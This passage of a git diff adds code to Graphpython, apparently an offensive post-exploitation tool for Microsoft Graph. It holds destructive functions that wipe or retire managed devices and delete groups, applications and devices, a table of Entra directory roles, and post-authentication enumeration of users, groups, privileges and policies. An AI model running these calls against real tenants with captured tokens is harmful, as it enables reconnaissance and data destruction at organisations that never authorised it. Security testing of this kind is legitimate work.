else: + print_red(f"[-] Failed to delete group: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# remove-groupmember +def remove_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Remove-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Remove-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/{member_id}/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Group member removed") + else: + print_red(f"[-] Failed to remove group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# delete-application +def delete_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Application command") + return + + print_yellow("[*] Delete-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Application deleted") + else: + print_red(f"[-] Failed to delete application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# delete-device +def delete_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Delete-Device command") + return + + print_yellow("[*] Delete-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/devices/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.delete(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device deleted") + else: + print_red(f"[-] Failed to delete device: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# wipe-device +def wipe_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Wipe-Device command") + return + + print_yellow("[*] Wipe-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/wipe" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + body = { + "keepEnrollmentData": True, + "keepUserData": True, + "useProtectedWipe": False + } + + response = requests.post(api_url, headers=headers, json=body) + if response.ok: + print_green(f"[+] Device wipe initiated successfully") + else: + print_red(f"[-] Failed to initiate device wipe: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# retire-device +def retire_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Retire-Device command") + return + + print_yellow("[*] Retire-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device retire initiated successfully") + else: + print_red(f"[-] Failed to initiate device retire: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/Graphpython/commands/directoryroles.txt b/Graphpython/commands/directoryroles.txt new file mode 100644 index 0000000..59c3689 --- /dev/null +++ b/Graphpython/commands/directoryroles.txt @@ -0,0 +1,526 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
RoleDescriptionTemplate ID
Application AdministratorCan create and manage all aspects of app registrations and enterprise apps.
Privileged label icon.
9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3
Application DeveloperCan create application registrations independent of the 'Users can register applications' setting.
Privileged label icon.
cf1c38e5-3621-4004-a7cb-879624dced7c
Attack Payload AuthorCan create attack payloads that an administrator can initiate later.9c6df0f2-1e7c-4dc3-b195-66dfbd24aa8f
Attack Simulation AdministratorCan create and manage all aspects of attack simulation campaigns.c430b396-e693-46cc-96f3-db01bf8bb62a
Attribute Assignment AdministratorAssign custom security attribute keys and values to supported Microsoft Entra objects.58a13ea3-c632-46ae-9ee0-9c0d43cd7f3d
Attribute Assignment ReaderRead custom security attribute keys and values for supported Microsoft Entra objects.ffd52fa5-98dc-465c-991d-fc073eb59f8f
Attribute Definition AdministratorDefine and manage the definition of custom security attributes.8424c6f0-a189-499e-bbd0-26c1753c96d4
Attribute Definition ReaderRead the definition of custom security attributes.1d336d2c-4ae8-42ef-9711-b3604ce3fc2c
Attribute Log AdministratorRead audit logs and configure diagnostic settings for events related to custom security attributes.5b784334-f94b-471a-a387-e7219fc49ca2
Attribute Log ReaderRead audit logs related to custom security attributes.9c99539d-8186-4804-835f-fd51ef9e2dcd
Authentication AdministratorCan access to view, set and reset authentication method information for any non-admin user.
Privileged label icon.
c4e39bd9-1100-46d3-8c65-fb160da0071f
Authentication Extensibility AdministratorCustomize sign in and sign up experiences for users by creating and managing custom authentication extensions.
Privileged label icon.
25a516ed-2fa0-40ea-a2d0-12923a21473a
Authentication Policy AdministratorCan create and manage the authentication methods policy, tenant-wide MFA settings, password protection policy, and verifiable credentials.0526716b-113d-4c15-b2c8-68e3c22b9f80
Azure DevOps AdministratorCan manage Azure DevOps policies and settings.e3973bdf-4987-49ae-837a-ba8e231c7286
Azure Information Protection AdministratorCan manage all aspects of the Azure Information Protection product.7495fdc4-34c4-4d15-a289-98788ce399fd
B2C IEF Keyset AdministratorCan manage secrets for federation and encryption in the Identity Experience Framework (IEF).
Privileged label icon.
aaf43236-0c0d-4d5f-883a-6955382ac081
B2C IEF Policy AdministratorCan create and manage trust framework policies in the Identity Experience Framework (IEF).3edaf663-341e-4475-9f94-5c398ef6c070
Billing AdministratorCan perform common billing related tasks like updating payment information.b0f54661-2d74-4c50-afa3-1ec803f12efe
Cloud App Security AdministratorCan manage all aspects of the Defender for Cloud Apps product.892c5842-a9a6-463a-8041-72aa08ca3cf6
Cloud Application AdministratorCan create and manage all aspects of app registrations and enterprise apps except App Proxy.
Privileged label icon.
158c047a-c907-4556-b7ef-446551a6b5f7
Cloud Device AdministratorLimited access to manage devices in Microsoft Entra ID.
Privileged label icon.
7698a772-787b-4ac8-901f-60d6b08affd2
Compliance AdministratorCan read and manage compliance configuration and reports in Microsoft Entra ID and Microsoft 365.17315797-102d-40b4-93e0-432062caca18
Compliance Data AdministratorCreates and manages compliance content.e6d1a23a-da11-4be4-9570-befc86d067a7
Conditional Access AdministratorCan manage Conditional Access capabilities.
Privileged label icon.
b1be1c3e-b65d-4f19-8427-f6fa0d97feb9
Customer LockBox Access ApproverCan approve Microsoft support requests to access customer organizational data.5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91
Desktop Analytics AdministratorCan access and manage Desktop management tools and services.38a96431-2bdf-4b4c-8b6e-5d3d8abac1a4
Directory ReadersCan read basic directory information. Commonly used to grant directory read access to applications and guests.88d8e3e3-8f55-4a1e-953a-9b9898b8876b
Directory Synchronization AccountsOnly used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services.
Privileged label icon.
d29b2b05-8046-44ba-8758-1e26182fcf32
Directory WritersCan read and write basic directory information. For granting access to applications, not intended for users.
Privileged label icon.
9360feb5-f418-4baa-8175-e2a00bac4301
Domain Name AdministratorCan manage domain names in cloud and on-premises.
Privileged label icon.
8329153b-31d0-4727-b945-745eb3bc5f31
Dynamics 365 AdministratorCan manage all aspects of the Dynamics 365 product.44367163-eba1-44c3-98af-f5787879f96a
Dynamics 365 Business Central AdministratorAccess and perform all administrative tasks on Dynamics 365 Business Central environments.963797fb-eb3b-4cde-8ce3-5878b3f32a3f
Edge AdministratorManage all aspects of Microsoft Edge.3f1acade-1e04-4fbc-9b69-f0302cd84aef
Exchange AdministratorCan manage all aspects of the Exchange product.29232cdf-9323-42fd-ade2-1d097af3e4de
Exchange Recipient AdministratorCan create or update Exchange Online recipients within the Exchange Online organization.31392ffb-586c-42d1-9346-e59415a2cc4e
External ID User Flow AdministratorCan create and manage all aspects of user flows.6e591065-9bad-43ed-90f3-e9424366d2f0
External ID User Flow Attribute AdministratorCan create and manage the attribute schema available to all user flows.0f971eea-41eb-4569-a71e-57bb8a3eff1e
External Identity Provider AdministratorCan configure identity providers for use in direct federation.
Privileged label icon.
be2f45a1-457d-42af-a067-6ec1fa63bc45
Fabric AdministratorCan manage all aspects of the Fabric and Power BI products.a9ea8996-122f-4c74-9520-8edcd192826c
Global AdministratorCan manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities.
Privileged label icon.
62e90394-69f5-4237-9190-012177145e10
Global ReaderCan read everything that a Global Administrator can, but not update anything.
Privileged label icon.
f2ef992c-3afb-46b9-b7cf-a126ee74c451
Global Secure Access AdministratorCreate and manage all aspects of Microsoft Entra Internet Access and Microsoft Entra Private Access, including managing access to public and private endpoints.ac434307-12b9-4fa1-a708-88bf58caabc1
Groups AdministratorMembers of this role can create/manage groups, create/manage groups settings like naming and expiration policies, and view groups activity and audit reports.fdd7a751-b60b-444a-984c-02652fe8fa1c
Guest InviterCan invite guest users independent of the 'members can invite guests' setting.95e79109-95c0-4d8e-aee3-d01accf2d47b
Helpdesk AdministratorCan reset passwords for non-administrators and Helpdesk Administrators.
Privileged label icon.
729827e3-9c14-49f7-bb1b-9608f156bbb8
Hybrid Identity AdministratorManage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health.
Privileged label icon.
8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2
Identity Governance AdministratorManage access using Microsoft Entra ID for identity governance scenarios.45d8d3c5-c802-45c6-b32a-1d70b5e1e86e
Insights AdministratorHas administrative access in the Microsoft 365 Insights app.eb1f4a8d-243a-41f0-9fbd-c7cdf6c5ef7c
Insights AnalystAccess the analytical capabilities in Microsoft Viva Insights and run custom queries.25df335f-86eb-4119-b717-0ff02de207e9
Insights Business LeaderCan view and share dashboards and insights via the Microsoft 365 Insights app.31e939ad-9672-4796-9c2e-873181342d2d
Intune AdministratorCan manage all aspects of the Intune product.
Privileged label icon.
3a2c62db-5318-420d-8d74-23affee5d9d5
Kaizala AdministratorCan manage settings for Microsoft Kaizala.74ef975b-6605-40af-a5d2-b9539d836353
Knowledge AdministratorCan configure knowledge, learning, and other intelligent features.b5a8dcf3-09d5-43a9-a639-8e29ef291470
Knowledge ManagerCan organize, create, manage, and promote topics and knowledge.744ec460-397e-42ad-a462-8b3f9747a02c
License AdministratorCan manage product licenses on users and groups.4d6ac14f-3453-41d0-bef9-a3e0c569773a
Lifecycle Workflows AdministratorCreate and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID.
Privileged label icon.
59d46f88-662b-457b-bceb-5c3809e5908f
Message Center Privacy ReaderCan read security messages and updates in Office 365 Message Center only.ac16e43d-7b2d-40e0-ac05-243ff356ab5b
Message Center ReaderCan read messages and updates for their organization in Office 365 Message Center only.790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b
Microsoft 365 Migration AdministratorPerform all migration functionality to migrate content to Microsoft 365 using Migration Manager.8c8b803f-96e1-4129-9349-20738d9f9652
Microsoft Entra Joined Device Local AdministratorUsers assigned to this role are added to the local administrators group on Microsoft Entra joined devices.9f06204d-73c1-4d4c-880a-6edb90606fd8
Microsoft Hardware Warranty AdministratorCreate and manage all aspects warranty claims and entitlements for Microsoft manufactured hardware, like Surface and HoloLens.1501b917-7653-4ff9-a4b5-203eaf33784f
Microsoft Hardware Warranty SpecialistCreate and read warranty claims for Microsoft manufactured hardware, like Surface and HoloLens.281fe777-fb20-4fbb-b7a3-ccebce5b0d96
Modern Commerce AdministratorCan manage commercial purchases for a company, department or team.d24aef57-1500-4070-84db-2666f29cf966
Network AdministratorCan manage network locations and review enterprise network design insights for Microsoft 365 Software as a Service applications.d37c8bed-0711-4417-ba38-b4abe66ce4c2
Office Apps AdministratorCan manage Office apps cloud services, including policy and settings management, and manage the ability to select, unselect and publish 'what's new' feature content to end-user's devices.2b745bdf-0803-4d80-aa65-822c4493daac
Organizational Branding AdministratorManage all aspects of organizational branding in a tenant.92ed04bf-c94a-4b82-9729-b799a7a4c178
Organizational Messages ApproverReview, approve, or reject new organizational messages for delivery in the Microsoft 365 admin center before they are sent to users.e48398e2-f4bb-4074-8f31-4586725e205b
Organizational Messages WriterWrite, publish, manage, and review the organizational messages for end-users through Microsoft product surfaces.507f53e4-4e52-4077-abd3-d2e1558b6ea2
Partner Tier1 SupportDo not use - not intended for general use.
Privileged label icon.
4ba39ca4-527c-499a-b93d-d9b492c50246
Partner Tier2 SupportDo not use - not intended for general use.
Privileged label icon.
e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8
Password AdministratorCan reset passwords for non-administrators and Password Administrators.
Privileged label icon.
966707d0-3269-4727-9be2-8c3a10f19b9d
Permissions Management AdministratorManage all aspects of Microsoft Entra Permissions Management.af78dc32-cf4d-46f9-ba4e-4428526346b5
Power Platform AdministratorCan create and manage all aspects of Microsoft Dynamics 365, Power Apps and Power Automate.11648597-926c-4cf3-9c36-bcebb0ba8dcc
Printer AdministratorCan manage all aspects of printers and printer connectors.644ef478-e28f-4e28-b9dc-3fdde9aa0b1f
Printer TechnicianCan register and unregister printers and update printer status.e8cef6f1-e4bd-4ea8-bc07-4b8d950f4477
Privileged Authentication AdministratorCan access to view, set and reset authentication method information for any user (admin or non-admin).
Privileged label icon.
7be44c8a-adaf-4e2a-84d6-ab2649e08a13
Privileged Role AdministratorCan manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management.
Privileged label icon.
e8611ab8-c189-46e8-94e1-60213ab1f814
Reports ReaderCan read sign-in and audit reports.4a5d8f65-41da-4de4-8968-e035b65339cf
Search AdministratorCan create and manage all aspects of Microsoft Search settings.0964bb5e-9bdb-4d7b-ac29-58e794862a40
Search EditorCan create and manage the editorial content such as bookmarks, Q and As, locations, floorplan.8835291a-918c-4fd7-a9ce-faa49f0cf7d9
Security AdministratorCan read security information and reports, and manage configuration in Microsoft Entra ID and Office 365.
Privileged label icon.
194ae4cb-b126-40b2-bd5b-6091b380977d
Security OperatorCreates and manages security events.
Privileged label icon.
5f2222b1-57c3-48ba-8ad5-d4759f1fde6f
Security ReaderCan read security information and reports in Microsoft Entra ID and Office 365.
Privileged label icon.
5d6b6bb7-de71-4623-b4af-96380a352509
Service Support AdministratorCan read service health information and manage support tickets.f023fd81-a637-4b56-95fd-791ac0226033
SharePoint AdministratorCan manage all aspects of the SharePoint service.f28a1f50-f6e7-4571-818b-6a12f2af6b6c
SharePoint Embedded AdministratorManage all aspects of SharePoint Embedded containers.1a7d78b6-429f-476b-b8eb-35fb715fffd4
Skype for Business AdministratorCan manage all aspects of the Skype for Business product.75941009-915a-4869-abe7-691bff18279e
Teams AdministratorCan manage the Microsoft Teams service.69091246-20e8-4a56-aa4d-066075b2a7a8
Teams Communications AdministratorCan manage calling and meetings features within the Microsoft Teams service.baf37b3a-610e-45da-9e62-d9d1e5e8914b
Teams Communications Support EngineerCan troubleshoot communications issues within Teams using advanced tools.f70938a0-fc10-4177-9e90-2178f8765737
Teams Communications Support SpecialistCan troubleshoot communications issues within Teams using basic tools.fcf91098-03e3-41a9-b5ba-6f0ec8188a12
Teams Devices AdministratorCan perform management related tasks on Teams certified devices.3d762c5a-1b6c-493f-843e-55a3b42923d4
Teams Telephony AdministratorManage voice and telephony features and troubleshoot communication issues within the Microsoft Teams service.aa38014f-0993-46e9-9b45-30501a20909d
Tenant CreatorCreate new Microsoft Entra or Azure AD B2C tenants.112ca1a2-15ad-4102-995e-45b0bc479a6a
Usage Summary Reports ReaderRead Usage reports and Adoption Score, but can't access user details.75934031-6c7e-415a-99d7-48dbd49e875e
User AdministratorCan manage all aspects of users and groups, including resetting passwords for limited admins.
Privileged label icon.
fe930be7-5e62-47db-91af-98c3a49a38b1
User Experience Success ManagerView product feedback, survey results, and reports to find training and communication opportunities.27460883-1df1-4691-b032-3b79643e5e63
Virtual Visits AdministratorManage and share Virtual Visits information and metrics from admin centers or the Virtual Visits app.e300d9e7-4a2b-4295-9eff-f1c78b36cc98
Viva Goals AdministratorManage and configure all aspects of Microsoft Viva Goals.92b086b3-e367-4ef2-b869-1de128fb986e
Viva Pulse AdministratorCan manage all settings for Microsoft Viva Pulse app.87761b17-1ed2-4af3-9acd-92a150038160
Windows 365 AdministratorCan provision and manage all aspects of Cloud PCs.11451d60-acb2-45eb-a7d6-43d0f0125c13
Windows Update Deployment AdministratorCan create and manage all aspects of Windows Update deployments through the Windows Update for Business deployment service.32696413-001a-46ae-978c-ce0f6b3620d2
Yammer AdministratorManage all aspects of the Yammer service.810a2642-a034-447f-a5e8-41beaa378541
\ No newline at end of file diff --git a/Graphpython/commands/enum.py b/Graphpython/commands/enum.py new file mode 100644 index 0000000..b9c47ff --- /dev/null +++ b/Graphpython/commands/enum.py @@ -0,0 +1,1108 @@ +import requests +import json +import os +import sys +import time +from bs4 import BeautifulSoup +from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from Graphpython.utils.helpers import graph_api_get + +########################## +# Post-Auth Enuemeration # +########################## + +# get-currentuser +def get_currentuser(args): + print_yellow("[*] Get-CurrentUser") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve current user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-currentuseractivities +def get_currentuseractivities(args): + print_yellow("[*] Get-CurrentUserActivities") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/activities" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-orginfo +def get_orginfo(args): + print_yellow("[*] Get-OrgInfo") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/organization" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-domains +def get_domains(args): + print_yellow("[*] Get-Domains") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/domains" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-user +def get_user(args): + print_yellow("[*] Get-User") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/users" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + access_token = get_access_token(args.token) + headers = { + 'Authorization': f'Bearer {access_token}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userproperties +def get_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + print_yellow("[*] Get-UserProperties") + print("=" * 80) + + for p in properties: + if not args.id: + api_url = f"https://graph.microsoft.com/v1.0/me?$select={p}" + else: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}?$select={p}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + print(f"{p}: {response_json.get(p, 'N/A')}") + else: + print_red(f"[-] Failed to retrieve {p}: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userprivileges +def get_userprivileges(args): + print_yellow("[*] Get-UserPrivileges") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/memberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/memberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-usertransitivegroupmembership +def get_usertransitivegroupmembership(args): + print_yellow("[*] Get-UserTransitiveGroupMembership") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/transitiveMemberOf" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/transitiveMemberOf" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-group +def get_group(args): + print_yellow("[*] Get-Group") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/groups" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if args.id: + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + if 'value' in response_json: + for user in response_json['value']: + for key, value in user.items(): + print(f"{key}: {value}") + print() + else: + print_red("[-] No users found or unexpected response format") + else: + print_red(f"[-] Failed to retrieve user(s): {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-groupmember +def get_groupmember(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-GroupMember command") + return + print_yellow("[*] Get-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" + + if args.select: + api_url += f"?$select={args.select}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + if 'value' in response_json and response_json['value']: + for item in response_json['value']: + for key, value in item.items(): + if key != "@odata.type": + if isinstance(value, list): + print(f"{key} :") + for list_item in value: + print(f" - {list_item}") + elif isinstance(value, dict): + print(f"{key} :") + for sub_key, sub_value in value.items(): + print(f" {sub_key} : {sub_value}") + else: + print(f"{key} : {value}") + print("\n") + else: + print_red("[-] Error: No members found in this group") + else: + print_red(f"[-] Failed to retrieve group members: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-userapproleassignments +def get_userapproleassignments(args): + print_yellow("[*] Get-UserAppRoleAssignments") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-conditionalaccesspolicy +def get_conditionalaccesspolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") + return + + print_yellow("[*] Get-ConditionalAccessPolicy") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve CAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-application +def get_application(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-Application command") + return + + print_yellow("[*] Get-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + if args.select: + api_url += "?$select=" + args.select + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + def parse_roleids(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_description = rows[2].find_all('td')[1].get_text() + delegated_description = rows[2].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_description, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) + return permissions + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + permissions = parse_roleids(content) + for key, value in response_json.items(): + if key == "requiredResourceAccess": + if value: + print_green(f"{key}:") + for resource in value: + print_green(f" Resource App ID: {resource['resourceAppId']}") + for access in resource['resourceAccess']: + role_id = access['id'] + role_type = access['type'] + if role_id in permissions: + perm_type, role_name, description, consent_required = permissions[role_id] + print_green(f" Role ID: {role_id}") + print_green(f" Role Name: {role_name}") + print_green(f" Description: {description}") + print_green(f" Type: {role_type}") + print_green(f" Permission Type: {perm_type}") + print_green(f" Admin Consent Required: {consent_required}") + else: + print_red(f" Role ID: {role_id} (Information not found)") + print_red(f" Type: {role_type}") + print(" ---") + else: + print_red(f"{key} : No assignments") + elif key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-appserviceprincipal +def get_appserviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") + return + + print_yellow("[*] Get-AppServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-serviceprincipal +def get_serviceprincipal(args): + if not args.id: + print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") + return + + print_yellow("[*] Get-ServicePrincipal") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" + if args.select: + api_url += "?$select=" + args.select + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for key, value in response_json.items(): + if key != "@odata.context": + print(f"{key}: {value}") + else: + print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# get-serviceprincipalapproleassignments +def get_serviceprincipalapproleassignments(args): + print_yellow("[*] Get-ServicePrincipalAppRoleAssignments") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" * 80) + +# get-personalcontacts +def get_personalcontacts(args): + print_yellow("[*] Get-PersonalContacts") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/contacts" + + if args.select: + api_url += "?$select=" + args.select + + graph_api_get(get_access_token(args.token), api_url, args) + print("=" 